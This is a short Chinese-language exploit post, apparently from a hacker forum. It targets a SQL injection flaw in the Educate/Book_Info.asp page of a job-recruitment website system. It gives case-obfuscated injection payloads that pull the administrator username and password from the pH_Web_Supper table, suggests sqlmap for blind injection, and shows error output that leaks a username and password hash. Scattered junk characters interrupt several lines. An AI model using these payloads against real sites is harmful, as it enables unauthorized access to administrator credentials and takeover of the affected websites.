网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

. n; ^) H% X. K3 ^; |( H4 _exp：如下
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
/ F4 t* P, Z1 M查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
0 t5 K  ~8 n! E  ?7 W  }. r
4 V) r. c4 p$ O1 H& z. @http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
0 I, A9 H2 M, o( z
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
, R  j) H( Q, ^4 g
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
  `9 z  i. d  |* d# W  l1 x
/Educate/Book_Info.asp，行 8
  H2 f& z. u  n) j1 a$ G  G
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
2 A' Q* R$ G! |+ G) j
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

+ h4 ~* I) `7 q. }7 s将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。

, t8 J! ^, B  X5 H" U4 p/Educate/Book_Info.asp，行 8
( x7 _$ Z; C# P. n$ ~( d​